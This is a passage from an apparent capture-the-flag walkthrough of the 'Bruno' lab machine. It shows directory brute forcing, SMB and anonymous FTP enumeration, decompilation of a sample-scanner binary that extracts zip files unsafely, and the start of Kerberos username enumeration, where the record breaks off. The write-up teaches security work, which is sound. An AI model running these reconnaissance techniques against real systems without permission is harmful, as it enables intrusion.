<span class="na">ETag</span><span class="p">:</span> <span class="s">"d2ff242dbc8bd81:0"</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">Microsoft-IIS/10.0</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">ASP.NET</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Thu, 19 Feb 2026 12:27:22 GMT</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">703</span>
</code></pre></div></div>

<p>The 404 page is the <a href="/cheatsheets/404#iis">default IIS 404</a>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260219072930685.webp" />
    <img loading="lazy" src="/img/image-20260219072930685.png" alt="image-20260219072930685" class="include_image " />
</picture>

<h4 id="directory-brute-force">Directory Brute Force</h4>

<p>I’ll point <code class="language-plaintext highlighter-rouge">feroxbuster</code> at the site using a lowercase wordlist as IIS is typically case-insensitive:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>feroxbuster <span class="nt">-u</span> http://bruno.vl <span class="nt">-w</span> /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 
<span class="go">                                                                                                                                       
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://bruno.vl
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
</span><span class="feroxbuster-red">404</span><span class="go">      GET       29l       95w     1245c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        2l       10w      153c http://bruno.vl/aspnet_client =&gt; </span><span class="feroxbuster-yellow">http://bruno.vl/aspnet_client/</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET      334l     2089w   180418c http://bruno.vl/iisstart.png
</span><span class="feroxbuster-green">200</span><span class="go">      GET       32l       55w      703c http://bruno.vl/
</span><span class="feroxbuster-red">404</span><span class="go">      GET       42l      157w     1914c http://bruno.vl/con
</span><span class="feroxbuster-red">404</span><span class="go">      GET       42l      157w     1928c http://bruno.vl/aspnet_client/con
</span><span class="feroxbuster-red">404</span><span class="go">      GET       42l      157w     1914c http://bruno.vl/aux
</span><span class="feroxbuster-red">404</span><span class="go">      GET       42l      157w     1928c http://bruno.vl/aspnet_client/aux
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        2l       10w      164c http://bruno.vl/aspnet_client/system_web =&gt; </span><span class="feroxbuster-yellow">http://bruno.vl/aspnet_client/system_web/</span><span class="go">
</span><span class="feroxbuster-red">404</span><span class="go">      GET       42l      157w     1939c http://bruno.vl/aspnet_client/system_web/con
</span><span class="feroxbuster-red">400</span><span class="go">      GET        6l       26w      324c http://bruno.vl/aspnet_client/error%1F_log
</span><span class="feroxbuster-red">400</span><span class="go">      GET        6l       26w      324c http://bruno.vl/error%1F_log
</span><span class="feroxbuster-red">404</span><span class="go">      GET       42l      157w     1928c http://bruno.vl/aspnet_client/prn
</span><span class="feroxbuster-red">404</span><span class="go">      GET       42l      157w     1939c http://bruno.vl/aspnet_client/system_web/aux
</span><span class="feroxbuster-red">404</span><span class="go">      GET       42l      157w     1914c http://bruno.vl/prn
</span><span class="feroxbuster-red">400</span><span class="go">      GET        6l       26w      324c http://bruno.vl/aspnet_client/system_web/error%1F_log
</span><span class="feroxbuster-red">404</span><span class="go">      GET       42l      157w     1939c http://bruno.vl/aspnet_client/system_web/prn
[</span><span class="feroxbuster-yellow">####################</span><span class="go">] - 78s    79761/79761   0s      </span><span class="feroxbuster-green">found</span><span class="go">:16      </span><span class="feroxbuster-red">errors</span><span class="go">:121    
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 50s    26584/26584   529/s   http://bruno.vl/ 
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 43s    26584/26584   618/s   http://bruno.vl/aspnet_client/ 
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 65s    26584/26584   406/s   http://bruno.vl/aspnet_client/system_web/ 
</span></code></pre></div></div>

<p>It finds the basic default IIS stuff, but nothing interesting.</p>

<h3 id="devbrunovl---tcp-80">dev.bruno.vl - TCP 80</h3>

<h4 id="site-1">Site</h4>

<p>The site is titled SampleUploader:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260219134847269.webp" />
    <img loading="lazy" src="/img/image-20260219134847269.png" alt="image-20260219134847269" class="include_image " />
</picture>

<p>It has a form to take a file, and shows a list in “Queue”, “Benign”, and “Malicious”. I’ll create a simple file named <code class="language-plaintext highlighter-rouge">0xdf-test.txt</code> (which isn’t really a Windows executable, but that’s ok) and upload it:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260219135108086.webp" />
    <img loading="lazy" src="/img/image-20260219135108086.png" alt="image-20260219135108086" class="include_image " />
</picture>

<p>After a minute or so it shows up in Benign:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260219135122924.webp" />
    <img loading="lazy" src="/img/image-20260219135122924.png" alt="image-20260219135122924" class="include_image " />
</picture>

<p>I’ll play with other file formats, but only <code class="language-plaintext highlighter-rouge">.exe</code> shows up in the Queue section or anywhere else.</p>

<h4 id="tech-stack-1">Tech Stack</h4>

<p>The HTTP headers look similar to the main site, though there are some additional <code class="language-plaintext highlighter-rouge">AspNet</code> headers:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">private</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=utf-8</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">Microsoft-IIS/10.0</span>
<span class="na">X-AspNetMvc-Version</span><span class="p">:</span> <span class="s">5.2</span>
<span class="na">X-AspNet-Version</span><span class="p">:</span> <span class="s">4.0.30319</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">ASP.NET</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Thu, 19 Feb 2026 22:22:45 GMT</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">2874</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">X-AspNet-Version: 4.0.30319</code> and <code class="language-plaintext highlighter-rouge">X-AspNetMvc-Version: 5.2</code> indicate this site is running ASP.NET MVC 5 on .NET Framework 4.</p>

<p>The 404 page is different:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260220082022827.webp" />
    <img loading="lazy" src="/img/image-20260220082022827.png" alt="image-20260220082022827" class="include_image " />
</picture>

<p>This is the <a href="/cheatsheets/404#aspnet">ASP.NET 404</a>. This suggests that the main site was IIS serving static HTML, whereas this is using ASP.NET to process requests.</p>

<h3 id="smb---tcp-445">SMB - TCP 445</h3>

<p>I’m not able to list any shares using null or guest auth:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb brunodc.bruno.vl <span class="nt">--shares</span>
<span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BRUNODC) (domain:bruno.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logfail">[-]</span><span class="go"> Error enumerating shares: STATUS_USER_SESSION_DELETED
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb brunodc.bruno.vl <span class="nt">-u</span> guest <span class="nt">-p</span> <span class="s1">''</span> <span class="nt">--shares</span>
<span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BRUNODC) (domain:bruno.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logpurplefail">[-]</span><span class="go"> bruno.vl\guest: STATUS_ACCOUNT_DISABLED
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb brunodc.bruno.vl <span class="nt">-u</span> oxdf <span class="nt">-p</span> oxdf <span class="nt">--shares</span>
<span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BRUNODC) (domain:bruno.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logfail">[-]</span><span class="go"> bruno.vl\oxdf:oxdf STATUS_LOGON_FAILURE 
</span></code></pre></div></div>

<p>Listing users and doing a RID brute both require auth:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb brunodc.bruno.vl <span class="nt">-u</span> oxdf <span class="nt">-p</span> oxdf <span class="nt">--users</span>
<span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BRUNODC) (domain:bruno.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logfail">[-]</span><span class="go"> bruno.vl\oxdf:oxdf STATUS_LOGON_FAILURE 
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb brunodc.bruno.vl <span class="nt">-u</span> oxdf <span class="nt">-p</span> oxdf <span class="nt">--rid-brute</span> 
<span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BRUNODC) (domain:bruno.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logfail">[-]</span><span class="go"> bruno.vl\oxdf:oxdf STATUS_LOGON_FAILURE 
</span></code></pre></div></div>

<h3 id="ftp---tcp-21">FTP - TCP 21</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> identifies that anonymous login is allowed. I’ll connect and check it out:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ftp brunodc.bruno.vl
<span class="go">Connected to BRUNODC.bruno.vl.
220 Microsoft FTP Service
Name (brunodc.bruno.vl:oxdf): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
</span><span class="gp">ftp&gt;</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">229 Entering Extended Passive Mode (|||54176|)
150 Opening ASCII mode data connection.
06-29-22  04:55PM       &lt;DIR&gt;          app
06-29-22  04:33PM       &lt;DIR&gt;          benign
06-29-22  01:41PM       &lt;DIR&gt;          malicious
06-29-22  04:33PM       &lt;DIR&gt;          queue
226 Transfer complete.
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">app</code> directory has a program:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ftp&gt; </span><span class="nb">ls </span>app
<span class="go">229 Entering Extended Passive Mode (|||54369|)
125 Data connection already open; Transfer starting.
06-29-22  05:42PM                  165 changelog
06-28-22  07:15PM                  431 SampleScanner.deps.json
06-29-22  03:58PM                 7168 SampleScanner.dll
06-29-22  03:58PM               174592 SampleScanner.exe
06-28-22  07:15PM                  170 SampleScanner.runtimeconfig.dev.json
06-28-22  07:15PM                  154 SampleScanner.runtimeconfig.json
226 Transfer complete.
</span></code></pre></div></div>

<p>The other three directories are empty other than a very small exe in <code class="language-plaintext highlighter-rouge">benign</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ftp&gt; </span><span class="nb">ls </span>benign
<span class="go">229 Entering Extended Passive Mode (|||54380|)
125 Data connection already open; Transfer starting.
06-29-22  04:32PM                    4 test.exe
226 Transfer complete.
</span><span class="gp">ftp&gt; </span><span class="nb">ls </span>malicious
<span class="go">229 Entering Extended Passive Mode (|||54381|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
</span><span class="gp">ftp&gt; </span><span class="nb">ls </span>queue
<span class="go">229 Entering Extended Passive Mode (|||54382|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
</span></code></pre></div></div>

<p>I’ll download the files from <code class="language-plaintext highlighter-rouge">app</code>:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="400"><div class="highlight"><pre class="highlight"><code><span class="gp">ftp&gt; </span>binary
<span class="go">200 Type set to I. 
</span><span class="gp">ftp&gt; </span><span class="o">!</span><span class="nb">mkdir </span>app
<span class="gp">ftp&gt; </span>lcd app                                                       
<span class="go">Local directory now: ~/hackthebox/bruno-10.129.238.9/app 
</span><span class="gp">ftp&gt; </span><span class="nb">cd </span>app           
<span class="go">250 CWD command successful. 
</span><span class="gp">ftp&gt; </span>prompt off
<span class="go">Interactive mode off.
</span><span class="gp">ftp&gt; </span>mget <span class="k">*</span>
<span class="go">local: changelog remote: changelog
229 Entering Extended Passive Mode (|||54428|)
150 Opening ASCII mode data connection.
100% |******************************************************************************************|   165        7.56 KiB/s    00:00 ETA
226 Transfer complete.
165 bytes received in 00:00 (7.47 KiB/s)
local: SampleScanner.deps.json remote: SampleScanner.deps.json
229 Entering Extended Passive Mode (|||54429|)
125 Data connection already open; Transfer starting.
100% |******************************************************************************************|   431       19.67 KiB/s    00:00 ETA
226 Transfer complete.
431 bytes received in 00:00 (19.43 KiB/s)
local: SampleScanner.dll remote: SampleScanner.dll
229 Entering Extended Passive Mode (|||54430|)
150 Opening ASCII mode data connection.
100% |******************************************************************************************|  7168      320.13 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 45 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
7168 bytes received in 00:00 (315.91 KiB/s)
local: SampleScanner.exe remote: SampleScanner.exe
229 Entering Extended Passive Mode (|||54432|)
150 Opening ASCII mode data connection.
100% |******************************************************************************************|   170 KiB    1.80 MiB/s    00:00 ETA
226 Transfer complete.
WARNING! 327 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
174592 bytes received in 00:00 (1.80 MiB/s)
local: SampleScanner.runtimeconfig.dev.json remote: SampleScanner.runtimeconfig.dev.json
229 Entering Extended Passive Mode (|||54433|)
125 Data connection already open; Transfer starting.
100% |******************************************************************************************|   170        7.85 KiB/s    00:00 ETA
226 Transfer complete.
170 bytes received in 00:00 (7.58 KiB/s)
local: SampleScanner.runtimeconfig.json remote: SampleScanner.runtimeconfig.json
229 Entering Extended Passive Mode (|||54434|)
150 Opening ASCII mode data connection.
100% |******************************************************************************************|   154        6.81 KiB/s    00:00 ETA
226 Transfer complete.
154 bytes received in 00:00 (6.72 KiB/s)
</span></code></pre></div></div>

<p>It is critical to set the mode to <code class="language-plaintext highlighter-rouge">binary</code> before doing the transfer or the binaries will be corrupt.</p>

<p>As an anonymous user, I can’t write to FTP:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ftp&gt; </span>put test.txt 
<span class="go">local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||61394|)
550 Access is denied. 
</span></code></pre></div></div>

<h3 id="sample-scanner">Sample Scanner</h3>

<h4 id="metadata">Metadata</h4>

<p><code class="language-plaintext highlighter-rouge">file</code> shows these are Windows .NET executables:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>file SampleScanner.dll SampleScanner.exe 
<span class="go">SampleScanner.dll: PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows, 2 sections
SampleScanner.exe: PE32+ executable (console) x86-64, for MS Windows, 6 sections
</span></code></pre></div></div>

<p>The other files provide metadata about how the application is configured:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>SampleScanner.deps.json 
<span class="go">{
  "runtimeTarget": {
    "name": ".NETCoreApp,Version=v3.1",
    "signature": ""
  },
  "compilationOptions": {},
  "targets": {
    ".NETCoreApp,Version=v3.1": {
      "SampleScanner/1.0.0": {
        "runtime": {
          "SampleScanner.dll": {}
        }
      }
    }
  },
  "libraries": {
    "SampleScanner/1.0.0": {
      "type": "project",
      "serviceable": false,
      "sha512": ""
    }
  }
}
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>SampleScanner.runtimeconfig.dev.json 
<span class="go">{
  "runtimeOptions": {
    "additionalProbingPaths": [
      "C:\\Users\\xct\\.dotnet\\store\\|arch|\\|tfm|",
      "C:\\Users\\xct\\.nuget\\packages"
    ]
  }
}
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>SampleScanner.runtimeconfig.json 
<span class="go">{
  "runtimeOptions": {
    "tfm": "netcoreapp3.1",
    "framework": {
      "name": "Microsoft.NETCore.App",
      "version": "3.1.0"
    }
  }
}
</span></code></pre></div></div>

<p>These file also leak a filepath from the machine they were written on, <code class="language-plaintext highlighter-rouge">C:\\Users\\xct\\</code>. It’s not guaranteed this is Bruno, but it could be.</p>

<p>The <code class="language-plaintext highlighter-rouge">changelog</code> file shows this is some kind of malware scanning engine:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Version 0.3
- integrated with dev site
- automation using svc_scan

Version 0.2
- additional functionality 

Version 0.1
- initial support for EICAR string
</code></pre></div></div>

<p>I’ll note both xct and svc_scan as potential usernames.</p>

<h4 id="run-it">Run It</h4>

<p>If I try to run it in a Windows VM, it may fail for missing an old .NET version:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS &gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\SampleScanner.exe</span><span class="w">
</span><span class="go">You must install or update .NET to run this application.

App: Z:\hackthebox\bruno-10.129.238.9\app\SampleScanner.exe
Architecture: x64
Framework: 'Microsoft.NETCore.App', version '3.1.0' (x64)
.NET location: C:\Program Files\dotnet\

The following frameworks were found:
  6.0.25 at [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
  6.0.33 at [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
  7.0.14 at [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
  8.0.0 at [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
  8.0.8 at [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]

Learn more:
https://aka.ms/dotnet/app-launch-failed

To install missing framework, download:
https://aka.ms/dotnet-core-applaunch?framework=Microsoft.NETCore.App&amp;framework_version=3.1.0&amp;arch=x64&amp;rid=win-x64&amp;os=win10
</span></code></pre></div></div>

<p>I’ll install that from the link provided, and then it runs, this time failing for not having a <code class="language-plaintext highlighter-rouge">C:\samples\queue</code> directory:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS &gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\SampleScanner.exe</span><span class="w">
</span><span class="go">Unhandled exception. System.IO.DirectoryNotFoundException: Could not find a part of the path 'C:\samples\queue'.
   at System.IO.Enumeration.FileSystemEnumerator`1.CreateDirectoryHandle(String path, Boolean ignoreNotFound)
   at System.IO.Enumeration.FileSystemEnumerator`1.Init()
   at System.IO.Enumeration.FileSystemEnumerator`1..ctor(String directory, Boolean isNormalized, EnumerationOptions options)
   at System.IO.Enumeration.FileSystemEnumerable`1..ctor(String directory, FindTransform transform, EnumerationOptions options, Boolean isNormalized)
   at System.IO.Enumeration.FileSystemEnumerableFactory.UserFiles(String directory, String expression, EnumerationOptions options)
   at System.IO.Directory.InternalEnumeratePaths(String path, String searchPattern, SearchTarget searchTarget, EnumerationOptions options)
   at SampleScanner.Program.Main(String[] args)
</span></code></pre></div></div>

<p>I can create one, but for now I’ll see what the binary is doing with RE.</p>

<h4 id="reversing">Reversing</h4>

<p>There are many .NET decompilers. <a href="https://github.com/icsharpcode/ILSpy">ILSpy</a> works nicely on Linux, but I prefer <a href="https://www.jetbrains.com/decompiler/">DotPeek</a> on a Windows VM. Loading the <code class="language-plaintext highlighter-rouge">.exe</code> will load the <code class="language-plaintext highlighter-rouge">.dll</code> (assuming the name is the same and it’s in the same folder), or I can just load the <code class="language-plaintext highlighter-rouge">.dll</code> directly. There are two functions:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260219123825318.webp" />
    <img loading="lazy" src="/img/image-20260219123825318.png" alt="image-20260219123825318" class="include_image " />
</picture>

<p>The main file has the following structure:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System.Collections.Generic</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.IO</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.IO.Compression</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Linq</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Text</span><span class="p">;</span>

<span class="k">namespace</span> <span class="nn">SampleScanner</span>
<span class="p">{</span>
  <span class="k">internal</span> <span class="k">class</span> <span class="nc">Program</span>
  <span class="p">{</span>
    <span class="k">public</span> <span class="k">static</span> <span class="n">IEnumerable</span><span class="p">&lt;</span><span class="kt">int</span><span class="p">&gt;</span> <span class="nf">PatternAt</span><span class="p">(</span><span class="kt">byte</span><span class="p">[]</span> <span class="n">source</span><span class="p">,</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">pattern</span><span class="p">)</span>
    <span class="p">{</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
    <span class="p">}</span>

    <span class="k">private</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
    <span class="p">{</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Main</code> starts by defining the <a href="https://en.wikipedia.org/wiki/EICAR_test_file">EICAR string</a>, which is a string that’s meant to trigger anti-virus programs as a test:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">private</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">string</span> <span class="n">s</span> <span class="p">=</span> <span class="s">"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EYCAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"</span><span class="p">;</span>
  <span class="n">s</span><span class="p">.</span><span class="nf">Replace</span><span class="p">(</span><span class="s">"EYCAR"</span><span class="p">,</span> <span class="s">"EICAR"</span><span class="p">);</span>
  <span class="kt">byte</span><span class="p">[]</span> <span class="n">bytes</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">ASCII</span><span class="p">.</span><span class="nf">GetBytes</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
</code></pre></div></div>

<p>It can’t have the raw string to avoid triggering AV itself, so it builds a similar string and then uses the <code class="language-plaintext highlighter-rouge">Replace</code> string function to generate the real string from the template one and converts it to bytes.</p>

<p>Next it loops over files in <code class="language-plaintext highlighter-rouge">C:\samples\queue</code>. If there’s a <code class="language-plaintext highlighter-rouge">.zip</code> file, it extracts it into <code class="language-plaintext highlighter-rouge">C:\samples\queue</code> (presumably to be processed on the next loop). Otherwise, it copies the file to <code class="language-plaintext highlighter-rouge">malicious</code> if the EICAR string is in the file and <code class="language-plaintext highlighter-rouge">benign</code> otherwise. Then it deletes the original file:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">foreach</span> <span class="p">(</span><span class="kt">string</span> <span class="n">file</span> <span class="k">in</span> <span class="n">Directory</span><span class="p">.</span><span class="nf">GetFiles</span><span class="p">(</span><span class="s">"C:\\samples\\queue\\"</span><span class="p">,</span> <span class="s">"*"</span><span class="p">,</span> <span class="n">SearchOption</span><span class="p">.</span><span class="n">AllDirectories</span><span class="p">))</span>
  <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">file</span><span class="p">.</span><span class="nf">EndsWith</span><span class="p">(</span><span class="s">".zip"</span><span class="p">))</span>
    <span class="p">{</span>
      <span class="k">using</span> <span class="p">(</span><span class="n">ZipArchive</span> <span class="n">zipArchive</span> <span class="p">=</span> <span class="n">ZipFile</span><span class="p">.</span><span class="nf">OpenRead</span><span class="p">(</span><span class="n">file</span><span class="p">))</span>
      <span class="p">{</span>
        <span class="k">foreach</span> <span class="p">(</span><span class="n">ZipArchiveEntry</span> <span class="n">entry</span> <span class="k">in</span> <span class="n">zipArchive</span><span class="p">.</span><span class="n">Entries</span><span class="p">)</span>
        <span class="p">{</span>
          <span class="kt">string</span> <span class="n">destinationFileName</span> <span class="p">=</span> <span class="n">Path</span><span class="p">.</span><span class="nf">Combine</span><span class="p">(</span><span class="s">"C:\\samples\\queue\\"</span><span class="p">,</span> <span class="n">entry</span><span class="p">.</span><span class="n">FullName</span><span class="p">);</span>
          <span class="n">entry</span><span class="p">.</span><span class="nf">ExtractToFile</span><span class="p">(</span><span class="n">destinationFileName</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="n">File</span><span class="p">.</span><span class="nf">Delete</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
      <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">Enumerable</span><span class="p">.</span><span class="n">Any</span><span class="p">&lt;</span><span class="kt">int</span><span class="p">&gt;(</span><span class="n">Program</span><span class="p">.</span><span class="nf">PatternAt</span><span class="p">(</span><span class="n">File</span><span class="p">.</span><span class="nf">ReadAllBytes</span><span class="p">(</span><span class="n">file</span><span class="p">),</span> <span class="n">bytes</span><span class="p">)))</span>
    <span class="p">{</span>
      <span class="n">File</span><span class="p">.</span><span class="nf">Copy</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="n">file</span><span class="p">.</span><span class="nf">Replace</span><span class="p">(</span><span class="s">"queue"</span><span class="p">,</span> <span class="s">"malicious"</span><span class="p">),</span> <span class="k">true</span><span class="p">);</span>
      <span class="n">File</span><span class="p">.</span><span class="nf">Delete</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span>
    <span class="p">{</span>
      <span class="n">File</span><span class="p">.</span><span class="nf">Copy</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="n">file</span><span class="p">.</span><span class="nf">Replace</span><span class="p">(</span><span class="s">"queue"</span><span class="p">,</span> <span class="s">"benign"</span><span class="p">),</span> <span class="k">true</span><span class="p">);</span>
      <span class="n">File</span><span class="p">.</span><span class="nf">Delete</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">PatternAt</code> just looks for a series of bytes in another set of bytes.</p>

<h3 id="kerberos---tcp-88">Kerberos - TCP 88</h3>

<p>I’ll check the usernames I have already with <code class="language-plaintext highlighter-rouge">kerbrute</code> to see if they are valid:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>kerbrute userenum <span class="nb">users</span> <span class="nt">-d</span> bruno.vl <span class="nt">--dc</span> brunodc.bruno.vl
<span class="go">
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,&lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 02/19/26 - Ronnie Flathers @ropnop

2026/02/19 19:52:31 &gt;  Using KDC(s):
2026/02/19 19:52:31 &gt;   brunodc.bruno.vl:88

